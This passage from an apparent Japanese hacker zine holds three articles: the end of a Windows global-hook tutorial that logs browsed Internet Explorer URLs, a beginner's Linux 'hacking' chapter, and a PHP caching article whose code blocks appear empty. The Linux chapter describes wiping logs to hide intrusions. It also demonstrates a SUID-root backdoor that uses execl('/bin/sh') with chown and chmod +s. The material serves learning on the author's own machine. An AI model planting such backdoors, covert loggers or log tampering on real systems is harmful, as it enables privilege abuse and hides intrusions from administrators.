択します。「メンバ変数の追加」ダイアログが表示されますので、「アクセス(A )」を「private」、「変数の種類(V)」を「CGlobalHook」、「変数名(N)」を「m _globalhook」と設定し「完了」ボタンを押下します(図17参照)。 (図17)image17.jpg  次にLoad.cppを開き、「CLoadDlg::OnInitDialog」の下部を以下のように修正 します。 ----- // TODO: 初期化をここに追加します。 m_globalhook.Set(); // この行を追加 return TRUE; // フォーカスをコントロールに設定した場合を除き、TRUEを返します。 -----  これでDLLを読み込む処理が完成しました。 6:実際に起動して動作テストをしてみます。  コードが書き終わったので、ビルドして動作テストしてみましょう。その前に いくつかやることがあります。メンバ関数の追加ウィザードを利用してCGlobalH ook::Setなどのメンバ関数やメンバ変数を追加した場合、CGlobalHookの中にpub lic:やprivate:が何回も記述されることになってしまい、少々煩雑な気がします。 これは手作業で整理しておきましょう。  整理したソースコードは「http://mixlogger.the-ninja.jp/hook/」にアップロ ードされていますので、もしよければご参照ください。  次にプロジェクトの依存関係を設定して、ビルドの順序を設定します。ソリュ ーションエクスプローラでLoadプロジェクトを右クリックし「プロジェクトの依 存関係(S)」を選択します。「プロジェクトの依存関係」ダイアログが表示されま すので、「プロジェクト(R)」を「Load」に、「依存先(D)」の「Hook」の左側の チェックボックスをONにして「OK」ボタンを押下します。これでHook.dllがビル ドされてからLoad.exeがビルドされるようになりました(図18参照)。 (図18)image18.jpg  最後にいよいよビルドです。「ビルド(B) -> ソリューションのビルド(B)」を 選択しビルドします。ビルドが終了したら「デバッグ(D) -> デバッグ開始(S)」 を選択します。すると「デバッグセッションの実行可能ファイル」ダイアログが 表示されますので、「実行ファイル名(E)」のコンボボックスから「参照...」を 選択して、今ビルドした「Load.exe」を指定して「OK」ボタンを押下してくださ い。  どうでしょうか、Internet Explorer 6.0で表示したURLが「C:\MyURL.txt」に 1行ずつ保存されているでしょうか。 ■0x06.) 今後の課題  このプログラムを実行しながらしばらくネットサーフィンをしていると気付か れると思うのですが、「C:\MyURL.txt」に同じURLが何行にも渡って連続されて記 録されることがあると思います。この問題を解消して、同じURLが続く場合は最初 の1回のみ記録するにはどうしたらよいのでしょうか。  またインターネットブラウザにはInternet Explorerの他にFireFoxやOperaなど があります。これらの表示URLを取得するにはどうしたらよいのでしょうか。ヒン トを出しますと、これらの取得にはDDEというのを使用します。DDEのサンプルコー ドは平林純さんが作成されたものが参考になりますので、ご興味のある方はご参照 ください。 http://www.hirax.net/misc/browser_window/BrowserWindow.cpp  今後の課題としてご一考いただければと思います。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第7章: はじめてのハッキング 〜Linuxの概要〜 --- 著者:Defolos x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  こんにちは、Defolosです。  今回はハッキングの簡単な説明について数回に分けて解説したいと思います。 細かな知識よりも実際に動作させることができる、体験できるということに主軸 を置きつつ、必要な知識を最低限解説いたします。このレポートでは、ハッキン グを実行してみたいが具体的な方法を知らないという方を対象に、簡単なハッキ ングを体験していただき、具体性をもって今後の学習に役立ててもらうことを目 的とします。 ■0x02.) ここで論じるハッキング  ハッキングとはあいまいで広義的な言葉です。例えば、他人のコンピュータに 無断で侵入する行為はハッキングと呼ばれますが、プログラミングにおいてエレ ガントに処理させてしまうこともハックと呼ばれます。他にも「かしこく物事を こなす」という動詞で使われたり、ハードウェアの動作を変更することもハック と呼ばれます。このように非常に広義的な言葉ですので、このレポートで論じる ハッキングがどの意味を指すのかを明確にする必要があります。  このレポートでは、簡単に言えば「無許可で他人のコンピュータに侵入する行 為」をとりあげます。ネットワークからの侵入ではなく実際にコンピュータを触 れ、ユーザとしてログインできる状態からバッファオーバフローというテクニッ クを使ってコンピュータをのっとる方法について論じます。また、コンピュータ のOSはLinuxであるという前提で解説しています。  もちろん、このレポートで本当に見ず知らずの他人のコンピュータに侵入する わけではありません。自分で用意したコンピュータにアタックをおこないますの で、法律に触れることはありません。 ●ハッキングの目的  ここでのハッキングの目的は権限を奪うことです。OSには通常、後述するよう に一般ユーザ権限と管理者権限が存在します。一般ユーザ権限でログインし、な んらかの方法で管理者権限を奪うことが今回の目的です。多くのLinuxでは一般ユ ーザ権限の場合、シェルのプロンプトが「$」になっています。一方管理者権限の 場合はプロンプトが「#」になっています。つまり目的はシェルのプロンプトを 「$」から「#」にかえることです。  詳しくは後述する「■0x04.) Linuxの概要」を参照してください。 ●前提知識  前提知識としましては次のような知識が必要、あるいは知っているほうが理解 しやすいです。次に挙げる前提知識はレポート内で必ず一度は解説します。レポ ートの説明でわからないという方は他の参考書から知識を得てください。 ○OSについての基礎知識  コンピュータにはOSが必ずインストールされており、そのOSの制御にしたがっ て動いています。OSについての知識を得ることはプログラムが実行される環境に ついて知ることです。これはサッカーなどスポーツのルールに似ています。ルー ルという規範の中でプレイヤーが走りまわるように、OSという規範の中でプログ ラムが動きます。  数あるOSの中でも特にハッキングにおいて必須とされるのがUNIXあるいはLinu xについての知識です。このレポートではLinuxについて簡単に解説を行います。 ○プログラミングについての知識  プログラムは命令の集合です。プログラムのおかげでコンピュータはただの箱 から情報処理機器として価値あるものになります。プログラミングについての知 識があればコンピュータに命令を下すことが可能になります。ハッキングはコン ピュータに命令してはじめて可能になりますので、ハッキングにはプログラミン グの知識は必要不可欠です。  特にC言語とアセンブリ言語についての知識が必要となります。C言語は非常に 汎用的なプログラミング言語で一般的なアプリケーションからOSまで記述でき、 LinuxもC言語で書かれています。ハッキングに用いられる言語ではデファクトス タンダードの地位を築いています。アセンブリはシェルコードを記述するのに用 います。これらについては次回解説いたします。 ○ハードウェアについての知識  コンピュータはOSやプログラムだけで動作しているわけではありません。必ず CPUやメモリなどハードウェアが存在して動作しています。  ハードウェアの知識をプログラマが直接利用する範囲はそれほど多くありませ んし、ハードウェアというのはソフトウェアの分野とは非常に異なった専門分野 です。通常プログラマはハードウェアについてあまり深い知識を必要としません が、プログラムがどのようにメモリを利用するのか、メモリに格納された命令は どのように実行されるのかといった最低限度の知識は必要とされます。このレポ ートで解説するハッキングでもこれらの知識が必ず必要になります。  これらの前提知識はレポートの前半で解説します。上記の知識が十分にある方 は後半まで読み飛ばしてもらってもかまいません。ハードウェアの基礎知識です が、これを効果的に習得するには基本情報技術者試験の解説書の「コンピュータ システム」についての章を読むとよいでしょう。 ■0x03.) ハッキングの手順  ハッキングにはある決まった手順があります。基礎を作らずに建築ができない ように、攻撃対象の下調べもせずに侵入することはできません。非常に大まかな 手順で見てみますと、次のようになります。 1:下調べ 2:侵入 3:後始末 4:裏口作成  これは非常に大まかな推移を表したものです。それぞれについてより詳しくみ ていきましょう。 ●下調べ  攻撃対象についてできるだけ詳しく調べます。例えばどのOSのどのバージョン を使っているか、どういったサービスを展開しているか、それぞれのサービスに 使われているサーバプログラムのバージョンはいくつかといったことから、シス テム管理者のメールアドレスや実力、システムを所有する会社などを調べます。  この過程で用いられるテクニックとして、Pingによってネットワークで稼動し ているサーバを検出するPingスイープ、対象サーバの稼動中のサービスを特定す るポートスキャン、OSの特定、ユーザ/グループの列挙などが挙げられます。ソー シャルエンジニアリングなども大いに役立ちます。この過程のドキュメントはネ ットや書籍で多く紹介されているため、このレポートでは特に大きくは取り上げ ません。 ●侵入  おそらくハッキングの過程の中でも最もあいまいで、具体的な手順がわかりに くい過程ではないかと思います。侵入も大きく分けてコンピュータにアカウント を持っている状態からコンピュータをのっとる方法と、アカウントさえ持ってい ない状態からコンピュータをのっとる方法の2種類があります。基本的にどちらも 同じ手法を使ってコンピュータをのっとりますが、後者はネットワーク越しにす べての権限を奪う場合に用いられる方法です。よく「侵入」という表現が使われ ますが、むしろ管理者権限を取得するという表現のほうがあっているように思い ます。このレポートでは主にこの過程について詳しく解説します。 ●後始末  コンピュータはコンピュータ内で行われた操作や起きた出来事などを逐一記録 しています。これはログと呼ばれ、侵入した形跡もログファイルにしっかりと記 録されます。これを本来のシステム管理者に見られてしまいますと、不正アクセ スがあったことが発覚してしまいます。インターネットは完全に匿名ではなく、 日時とISPのログファイルとの照合で個人が特定されてしまいますので、犯行が発 覚しないようにログファイルの削除や改竄を行います。物理的犯罪に置き換える なら、証拠が残らないようにすべてての指紋をぬぐい取る作業と同じです。 ●裏口作成  一度侵入したコンピュータにもう一度侵入するとき、また同じ手順を踏むのは 面倒ですし、脆弱性が防がれている可能性もあります。侵入するとは管理者権限 を取得することと同一ですので、ありとあらゆる操作が行えます。実行するだけ で管理者権限を与えるプログラムを作成したり、ネット上からコマンドを受け付 け管理者権限で全てのコマンドを実行するようなサーバプログラムを起動させる などで裏口を作成することができます。侵入したハッカーだけが知る勝手口のよ うな存在ですので、そこからたとえて裏口(バックドア)と呼ばれます。このレ ポートでも最も簡単なバックドアを作成しています。 ■0x04.) Linuxの概要  世界のPCの95%はWindowsが占めるといわれている現在、どうしてLinuxの使い 方について学ぶのでしょうか。これには明確な理由があります。Windowsが大多数 のシェアを占めるのはPCでの話であって、メインフレームやサーバコンピュータ ではほとんどのOSはLinuxあるいはUNIXが占めています。通常のハッカーの攻撃対 象となるコンピュータは個人のPCよりも企業のサーバである場合がほとんどです。 私たちがまず知るべきOSはLinuxであるといえます。 ●Linuxの特徴  Linuxは1991年にフィンランドのヘルシンキ大学の学生であったリーナス=トー バルズがUNIXを元に開発したOSです。開発当時はアセンブリ言語でプログラミン グされていましたが、後にC言語で書き直されています。  LinuxはオープンソースのUNIXライクな(UNIXに似た)OSで、メインフレームか ら携帯電話、サーバなど非常に多くの分野で利用されています。Linuxとは本来、 OSのカーネル(中核)部分のことを指しますが、カーネルはプロセス管理や記憶 管理などを行うだけで、文章を書いたりWebサイトをみたりすることはできません。 つまりカーネルだけでは我々がOSに求める機能を実現することはできません。で すので、OSにはカーネルのほかにワープロソフトやWebブラウザ、メールソフトな どが付属しています。  Linuxと一口にいっても、Red HatやDebian、SUSE Linuxなど様々な種類があり ます。これらの違いは、カーネルに付属するソフトウェアの種類の違いや、開発 理念の違いなどです。例えばSUSE Linuxはグラフィカルなデスクトップに特化し ており、Red HatはRPMというパッケージ管理ソフトが付属しています。それぞれ に特化しているものや理念の違いなどがあり、こういったLinuxの種類のことをデ ストリビューションと言います。このレポートではDebianというデストリビュー ションのDebian GNU/Linux 3.1r1(Sarge)を用いて解説します。インストール時 のパッケージコレクションは「デスクトップ環境」でインストールしていますが、 他のパッケージコレクションでも問題はないでしょう。Debianのインストールに ついては他のドキュメントを参照するか、書店でDebian関係の雑誌や書物をお買 い求めください。 ●まずは使ってみよう  まずはLinuxをインストールしましょう。LinuxはDebian GNU/Linux 3.1r1(Sar ge)が望ましいです。KnoppixやFedora Coreではうまく実験が進められない可能性 がありますので、少なくともDebianを利用するようにしてください。Linux用のコ ンピュータを別に用意するのは簡単ではありませんので、他のOSをインストール しているHDDの空き領域にLinuxをデュアルインストールするとよいでしょう。注 意点はWindowsとデュアルインストールする場合に先にWindowsからインストール することと、インストール時に「全てのパーテーションを削除」のような項目を 選択しないことです。インストールの方法は他のドキュメントを参照していただ くこととして愛割させていただきます。 ○シェル  Debianがインストールできましたら、このレポートで主な操作画面となるシェ ル(ターミナル、コンソールとも呼ばれます)を使ってみましょう。シェル(She ll)とはOSの一部で、ユーザからの命令を受け付けてカーネルが理解できる命令に 変換し、カーネルに引渡してプログラムの起動やファイルの削除などを行う役割 を持ちます。また、カーネルからの出力を人が理解しやすい形に変換して表示す る役割も持っています。通常シェルは文字によって入出力を行うCUIですが、Win dowsやX Window SystemのようなGUIはグラフィカル・シェルとも呼ばれます。シ ェルという名前はOSの中核であるカーネルを貝殻のように囲って命令を受付け、 それをカーネルに渡すためです。 +---------------------------------------+ | Shell | +--------+ | +------------------+ | | |---------[input]---------->|====[convert]====>| | | | User | | | Kernel | | | |<--------[output]----------|<====[convert]====| | | +--------+ | +------------------+ | | | +---------------------------------------+  シェルを起動してみましょう。Linuxの場合シェルはプログラムとして実装され ていますので、他のプログラムと同様にメニューなどから起動させます。正確に はグラフィカルなインターフェースの裏側ではOS起動時に起動された根源となる シェルが動いています。私たちがシェルを起動させる時は、その根源シェルに新 たにプログラムであるシェルを起動する命令を送り、それを根源シェルが解釈し て新しくシェルを立ち上げます。そのためシェルを複数起動させたり、プログラ ムの中から別のプログラムを起動するようにシェルを起動させることが可能です。  デスクトップにタスクバーがあると思います。この中にコンピュータの形をし たアイコンがありますので、クリックしてください(図1)。アイコンが見つから ない場合はタスクバー左端の[アプリケーション]→[Debianメニュー]→[アプリケ ーション]→[シェル]→[Bash]で起動できます(図2)。 (図1)http://ruffnex.oc.to/defolos/text1/figure/wb30_f00.jpg (図2)http://ruffnex.oc.to/defolos/text1/figure/wb30_f01.jpg  シェルが起動するとウィンドウが開き、文字が表示されます(図3)。文字や背 景の色は環境によって異なる可能性があります。また、グラフィカル・シェル(X Window)を導入していない場合はログイン画面から根源シェルが表示されますが、 この場合白い文字に黒い背景になっていると思います。 (図3)http://ruffnex.oc.to/defolos/text1/figure/wb30_f02.jpg  シェルにはbashやcsh、tcshなどいくつかの種類があり、bashはcshや他のシェ ルを参考に機能拡張されたシェルです。Linuxの標準ではbashが使われます。シェ ルの操作は文字だけで行い、決められたコマンドを入力することでファイルの移 動やフォルダの表示などを行います。シェルに「pwd」と入力してください。次の ように何か表示されたと思います。 ----- defolos@glazheim:~$ pwd /home/defolos -----  pwdコマンドはカレントディレクトリを表示するコマンドです。ディレクトリと はファイルを格納した入れ物のようなもので、Windowsではフォルダと呼ばれます。 カレントディレクトリとは「現在ユーザが作業を行っているディレクトリ」とい う意味です。  このようにコマンドで様々な操作を行っていきます。必要最低限のコマンドは 後述します。ここではLinuxが起動できてシェルがどういった感じのものなのか感 覚的に理解していただければ結構です。 ●Linuxにおける権限  通常のOSには権限という概念が存在します。権限とは操作を許可する範囲と考 えてもらえれば良いです。例えばファイルに対して書き込みを行うという操作は そのファイルへの書き込み権限が必要です。コンピュータの管理を行う場合、ア クセスできないファイルや実行できない操作があると管理ができませんので、あ りとあらゆる権限を持った管理者権限というアカウントが存在します。これはLi nuxではrootと呼ばれるアカウントです。Windowsの場合はAdministratorという特 別なアカウントが管理者権限アカウントに該当します。 ○マルチユーザとアクセス権限  Linuxでは同じコンピュータに複数のユーザが同時にログインし作業を行うマル チユーザという考え方が強く、ログインするユーザは数多くいるユーザのうちの 一人としてログインします。各ユーザーには専用のデスクトップやディレクトリ が用意されますが、他のユーザのデスクトップなどに移動することも可能です。 コンピュータを起動してログインすると一般ユーザ権限でログインすることにな ります。一般ユーザ権限は管理者権限とは違い、操作に多くの制限があります。 例えば一部のファイルなどは読むことができませんし、サーバプログラムなどの ように実行できないプログラムもあります。  実際の例を見てみましょう。シェルに次のようにコマンドを入力してください。 ----- defolos@glazheim:~$ cat /etc/shadow cat: /etc/shadow: 許可がありません -----  catコマンドはファイルの内容を表示するコマンドです。shadowファイルとはロ グインパスワードが暗号化されて保存されているファイルで、読み込みの許可は rootにしかありません。そのため、一般ユーザ権限から表示しようとすると、許 可がないというエラーが返されます。  ファイルへのアクセス権限には「読み込み(r)」、「書き込み(w)」、「実 行(x)」の3つの種類があり、これらの権限は「ユーザ」、「グループ」、「そ の他」の3つのフィールドにそれぞれ設定することができます。「ユーザ」はその ファイルの所有者(作成者)が許可される権限を設定します。「グループ」はフ ァイルの所有グループに属するユーザに許可される権限を設定し、「その他」で はそれ以外のユーザに対しての権限を設定します。ファイルに設定されている権 限を確認するにはlsコマンドを用います。 ----- defolos@glazheim:~$ ls -l /etc/shadow -rw-r----- 1 root shadow 793 2006-11-11 09:54 /etc/shadow -----  lsコマンドはディレクトリに含まれる下位ディレクトリやファイルを表示する コマンドですが、-lオプションを指定することで設定されている権限を確認する ことができます。ユーザ、グループ、その他の順にフィールドがあり、そのフィ ールドにr、w、xが設定されます。この例では先ほどのshadowファイルに設定され たアクセス許可を確認しています。「-rw-r-----」の部分がそれぞれ順番にユー ザ、グループ、その他のフィールドであり、一番最初の「-」はファイルの種類 (-ならファイル、dならディレクトリ)を表しているため無視して考えます。す るとファイルの所有者は読み込みと書き込みの許可があり、グループには読み込 みの許可があることがわかります。それ以外のユーザに対しては一切の許可があ りません。rootと書かれた部分はこのファイルの所有者の名前です。shadowファ イルはrootが所有者でありユーザdefolosはrootではありませんので、shadowファ イルは表示できないことがわかります。 ○権限の確認  それでは自分がどの権限でログインしているのかを確認しましょう。Linuxの場 合はシェルを開いたとき、プロンプトの前の記号が「$」のときは一般ユーザ権限 で、「#」のときは管理者権限であるのが通常です。  しかし、これらの記号は管理者が自由に変更できるため、もしかすると一般ユ ーザ権限でも「#」の記号がついているかもしれません。ですので、より正確に自 分の権限を知りたい場合はwhoamiコマンドを利用します。シェルを開き、whoami と入力します。 ----- defolos@glazheim:~$ whoami defolos -----  ユーザ名が返ってきたときは一般ユーザ権限です。 ----- glazheim:/home/defolos# whoami root -----  rootと返ってきた場合には管理者権限です。管理者権限はそのコンピュータ上 で神のように振舞えます。例えばユーザを削除したり、パスワードが保存されて いるファイルを閲覧することさえできます。この神の権利を奪うことが今回のレ ポートの目的です。  rootというのは特別なアカウントですが、suコマンドを用いることで一般ユー ザ権限からrootアカウントにログインすることが可能です。次のようにコマンド を入力してください。Password:にはrootのパスワードを入力します。覗き見防止 のため、パスワードの入力は表示されないようになっています。 ----- defolos@glazheim:~$ su Password: glazheim:/home/defolos# -----  これで権限が管理者になりました。rootアカウントはコンピュータ起動時のロ グイン画面からログインすることはできず、このように一般ユーザ権限からsuコ マンドでログインします。わずらわしいように感じられますが、rootはありとあ らゆる権限を持っているため、システムの維持に必要なファイルでも間違えて消 してしまう可能性があります。必要なときにだけrootになり必要性がなくなった ら一般ユーザ権限に戻ることで必要なファイルを消してしまう危険性を抑えてい ます。このような使い方をするため、起動時のログイン画面からはrootでログイ ンできないようになっています。rootから抜けるにはexitコマンドを使います。 ○SUID  アクセス権限がなければプログラムの実行やファイルの読み書きが行えないこ とはわかりました。しかし、ただ権限にしたがって制限するだけではコンピュー タをうまく管理することはできません。例えばパスワードの変更を考えてみまし ょう。  それぞれのユーザのログインパスワードを変更する際、Linuxではpasswdという プログラムを使ってshadowファイルを書き換えます。これは/etc/passwdのパスワ ードファイルとは違い、実行形式のプログラムです。shadowファイルはrootにし か書き込み権限がないことは確認できていますが、パスワードはそれぞれのユー ザが自由に変更できなければなりません。もしrootだけがパスワードを変更でき るようですと、それぞれのユーザはパスワードを変更したいときには毎回rootに 頼んで変更してもらわなければならなくなります。これでは大変非効率なので、 passwdはある仕組みを用いてこれを解決しています。passwdをlsコマンドで見て みましょう。 ----- defolos@glazheim:~$ ls -l /usr/bin/passwd -rwsr-xr-x 1 root root 26840 2006-08-12 08:24 /usr/bin/passwd -----  ユーザフィールドの実行権限の部分が「s」になっています。これはSUID(Set User ID)がセットされた状態であることを表しています。SUID権限がセットさ れたプログラムを実行すると、誰がプログラムを実行したかに関わらず、実行ユ ーザIDがファイルの所有者のユーザIDに変更されてプログラムが実行されます。 プログラムが終了すれば実行ユーザIDは元に戻ります。  パスワード変更の例に戻りますと、パスワードを変更したいユーザはpasswdプ ログラムを実行します。passwdはすべてのユーザが実行できますが、passwdによ って変更されるshadowファイルはroot以外書き込みできないため、そのままでは エラーが発生します。そこでpasswdを実行する際、実効ユーザIDをrootに変更す ることで、あたかもrootがpasswdを実行したかのようにshadowファイルを書き換 えることができます。所有者がrootでSUID権限が設定されているプログラムは、 特にSUID rootプログラムと呼ばれます。SUID rootプログラムは言い換えるなら、 プログラムが実行されている間rootの権限を持つプログラムだといえます。これ は非常に重要な脆弱性に繋がる危険性があります。  前述したように、プログラムからシェルを起動することが可能です。もしSUID rootプログラムが正常に終了せずに、途中でシェルを起動してしまったとしたら どうなるでしょう。SUID rootプログラムは起動している間root権限を持つため、 そこから呼ばれたシェルはroot権限で実行されたことになります。  次に本当にシェルからシェルを呼び出せるのか、プログラム内からシェルを呼 び出せるのか、SUIDをセットした場合の挙動のテストを行います。 ○シェルからシェルを起動  シェルからシェルを呼び出せるかどうかは次のようにして確認できます。ここ ではbinディレクトリにあるshというシェルを起動しています。bashも同じディレ クトリ内にありますがbashはすでに起動していますので、bashを起動させても表 示が変わらず分かりにくいためshを起動させています。 ----- defolos@glazheim:~$ /bin/sh sh-2.05b$ -----  次にプログラム内からシェルを呼び出してみます。次のような非常にシンプル なソースから作ったプログラムを実行してみます。 -----shtest.c #include int main (void){ execl("/bin/sh", "sh", 0, 0); return 0; } -----  5行目のexecle関数で/bin/shを呼び出しています。このソースコードをshtest .exeという名前でコンパイルし、実行すると次のような結果が得られます。コン パイルとは人が読みやすいように書かれたソースコードをコンピュータが理解で きる命令に変換することです。詳しくは次回解説します。 ----- defolos@glazheim:~$ ./shtest.exe sh-2.05b$ -----  シェルから呼び出したときと同じように、シェルを起動することができました。 シェルが呼び出されるときのシェルやプログラムの実行はdefolosという一般ユー ザ権限によって行われたため、新たに起動したシェルも一般ユーザ権限で起動し ています。ここでshtest.exeをSUID rootプログラムにした場合にどのような挙動 になるか確認してみましょう。SUID rootプログラムにするには対象のプログラム の所有者をrootに変更し、SUIDをセットする必要があります。この作業はrootで なければできないので、一度suコマンドでrootになります。その後、次のように コマンドを入力します。 ----- glazheim:/home/defolos# chown root shtest.exe glazheim:/home/defolos# chmod +s shtest.exe -----  chownコマンドは対象ファイルの所有者を変更するコマンドです。shtest.exeの 所有者をrootに変更しました。次のchmodコマンドは対象ファイルのアクセス権限 を変更するコマンドです。shtest.exeにSUID権限を追加しています。この2つの作 業でshtest.exeがどのように変更されたのか確認しましょう。 ----- glazheim:/home/defolos# ls -l shtest.exe -rwsr-sr-x 1 root defolos 11532 2006-11-13 01:40 shtest.exe -----  所有者がrootに変更され、SUIDがセットされています。この状態でshtest.exe が実行されれば、誰が実行したかに関わらず所有者であるrootの権限で実行され ます。そして5行目のexecle関数で、権限がrootのままシェルが起動します。一般 ユーザ権限に戻ってshtest.exeを実行してみましょう。 ----- defolos@glazheim:~$ ./shtest.exe sh-2.05b# -----  シェルの記号は変更されていますが、本当にrootなのか確かめる意味でwhoami コマンドを使用します。 ----- sh-2.05b# whoami root  rootであることが確認できました。これは最も単純なバックドアの例であり、 一般ユーザ権限からプログラムひとつを実行するだけでrootになることができま す。このようにSUID rootプログラムは誰がプログラムを実行したかに関わらずr oot権限でプログラムが実行されます。  残る問題は、どのようにSUDI rootプログラムの流れを変えて途中でシェルを起 動するかです。 ●必要最低限のコマンド  Linuxは近年ではWindowsのようにグラフィカルなシェル(X Window System)を 備えており、マウスでファイルを移動したりアイコンをクリックしてプログラム を起動したりといったGUIの操作もできるようになっています。しかしGUIはあく までCUIシェルに画像をくっつけたようなものですので、GUIでは行えない操作は 多くあります。このレポートでもCUIでしか行えない操作を必要としますので、こ こでLinuxを操作するために最低限必要なコマンドを挙げます。書式はcommand [ option] argvとなっており、[]でかこった部分は省略可能です。 ○man name | -k keyword  コマンドの使い方を表示します。使いたいコマンドの名前がわかっている場合 はnameで直接指定し、名前がわかっていない場合は-kオプションを指定して検索 したいキーワードを入力することでコマンドの検索ができます。 ○ls  ディレクトリ内のファイルや下位ディレクトリを表示します。Windowsではフォ ルダアイコンをクリックし、ウィンドウを開いてフォルダ内のファイルや下位フ ァイルを表示しますが、これと同じことを行っています。ディレクトリとフォル ダは同じ概念のものです。Windowsではディレクトリのことをフォルダといいます。 なお、カレントディレクトリは「.」で、上位ディレクトリは「..」で表されます。 ○cd directory  カレントディレクトリを[directory]に変更します。移動したいディレクトリを 引数で指定すると、そのディレクトリに移動します。引数なしで実行するとホー ムディレクトリに移動します。 ○cp source destination  ファイルのコピーを行います。[source]にコピー元ファイルを指定し、[desti nation]にコピーしたあとのファイル名を指定します。 ○rm file  ファイルの削除を行います。 ○chown [-R] [owner] file  ファイルやディレクトリの所有者を[owner]に変更します。-Rオプションを選択 すると指定したディレクトリ内の全てのファイルの所有者を[owner]に変更します。 このコマンドはプログラムをSUID rootプログラムへ変更する場合に使用します。 rootだけが実行できるコマンドです。 ○chmod [-R] type file  ファイルやディレクトリのアクセス許可を変更します。-Rオプションを選択す ると指定したディレクトリ内のすべてのファイルの許可をtypeに変更します。フ ァイルあるいはディレクトリの所有者しかアクセス許可を変更できません。指定 方法には絶対方式と相対方式があり、絶対方式は8進数の数字によって指定します。 [絶対方式] ・0400 所有者が読み込める ・0200 所有者が書き込める ・0100 所有者が実行できる ・0040 groupに属するユーザが読み込める ・0020 groupに属するユーザが書き込める ・0010 groupに属するユーザが実行できる ・0004 その他のユーザが読み込める ・0002 その他のユーザが書き込める ・0001 その他のユーザが実行できる [相対方式] ・u,g,o,a 所有者・グループに属するユーザ・その他のユーザ、全員 ・r,w,x 読み込み属性・書き込み属性・実行属性 ・+/-   属性をONにする/OFFにする ・s Set ID ■0x05.) 参考文献 ・「Hacking:美しき策謀」 Jon Erickson著 村上 雅章訳 ISBN4-87311-230-3  http://www.oreilly.co.jp/books/4873112303/ ・「ハッキング対策マニュアル」ISBN4-7973-2145-8 ・「セキュリティ夜話 バッファオーバーフロー(BO)系列 (1)Aleph Oneに よるスタック破壊の楽しみと恩恵」  http://www.asahi-net.or.jp/~vp5m-snd/sec/tech/Phrack49-14.html ■0x06.) さいごに  今回は前提知識の確認として、ハッキングに必要なLinuxについての知識につい て解説いたしました。  次回はC言語とアセンブリ言語についての基礎知識を解説したいと思います。し ばらくは前提知識の確認が続きます。これらの知識はハッキングと密接に結びつ いており、必ず必要となる知識です。基礎がしっかりしていれば後の理解も早い と思いますので、ゆっくりと前提知識の確認を行いたいと思います。  それでは、またお会いしましょう。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第8章: PHPでソケットを使ってサーバ負荷軽減 --- 著者:Zキチガイ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  CGIを書こうとしたときは、まずどのプログラミング言語・スクリプト言語を使 うのかを選ぶ必要がある。その際に、PHPを選択する方も多いはずだ。なぜなら簡 単かつポピュラーであるからである。  今回の記事では、そのPHPでソケットを使ってサーバーの負荷を軽くするような スクリプトを書いてみようと思う。ソケットを使うといっても、メールを扱ったり するわけではない。CGIスクリプトで使うソケットはサーバーと通信するためだけ にある。なぜなら、ソケットはクライアントの接続を待つこともできるがCGIでそ んなことはしないからだ。 ■0x02.) CGIのソケットと負荷軽減の関係性  今回CGIで使うソケットはどのサーバーと接続するのだろうか?  例えば、ブラウザで有名掲示板2ちゃんねるの板を表示してみたとする。すると ページのアドレスはindex.htmlとなっている。すなわちHTMLファイルだ。これは どうしたことか。2ちゃんねるはCGIを使っていないのか。もちろんそんなわけが ない。もしCGIを使っていないのなら書き込みができないからだ。表示にはHTML、 書き込みにはCGIと使い分けているのだ。  さてこの辺りからが本題に入る。  CGIでindex.htmlを生成するスクリプトを書くわけだが、いつindex.htmlを生成 するのだろうか。それは表示するデータが変更されたときである。つまり書き込 みがあったときに生成すればよいわけだ。  掲示板のページにアクセスしたとき、基本的に誰でも同じものが表示されるよ うに設計することが多い。CGIはクライアントが接続してくるたびにスクリプトを 実行する。だが、毎回同じものを出力していては、これは明らかにリソースの無 駄である。そこで最初の一回だけスクリプトを実行して結果を保存し、次からは スクリプトを実行した結果(HTMLファイル)を返すようにすればよい。そうすれ ば環境によるが負荷は大幅に減らすことができる。特にCGIとデータベースを連携 させているときは、データベースの負荷も軽くなる。  CGIでHTMLを生成すれば負荷は軽くなることが理解できたはずだ。ではそのスク リプトをどう書けばいいのか。ここで最初の疑問を思い返してほしい。ソケット でどこのサーバーと接続するかという問いである。答えは自分自身、すなわちlo calhostだ。  掲示板を例にすると、書き込んだ直後に最初に自分自身で接続する。そして目 的のCGIで書かれたWebページを要求する。出力結果をHTMLファイルで保存する。 クライアントはhttp://*****/index.htmlか、http://*****/といったようにペー ジを要求すればよい。  このスクリプトを書くときにひとつ注意が必要だ。「test.phpからtest.phpの ページを要求する」というようにしてはいけない。無限ループになってしまうか らだ。 ■0x03.) スクリプト  まず、localhostの直下にtest.phpを作り、次のように書いて欲しい。 ----- -----  そして、メインとなるスクリプトを次のようにする。 ----- -----  これを実行するとtest.phpのphpinfo関数の出力結果が入ったtest.htmlが生成 されているはずだ。 ■0x04.) まとめ  CGIからプログラムを習得した方はCGIでソケットやXMLを使ったことがない、ど う使うのかわからないといった人もいるのではないだろうか。だがずっと使わな いままではもったいない。PHPはとても使いやすくできている。PHPにソケットや XMLの機能があるのは、他の高級言語の”たとえ使いにくい部分があろうともなん でもできる”というためではなく、機能性・利便性のためだと私は考える。たと え実務で使うことはなくとも、重箱の隅のような関数が大活躍する場面はあるの だ。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x 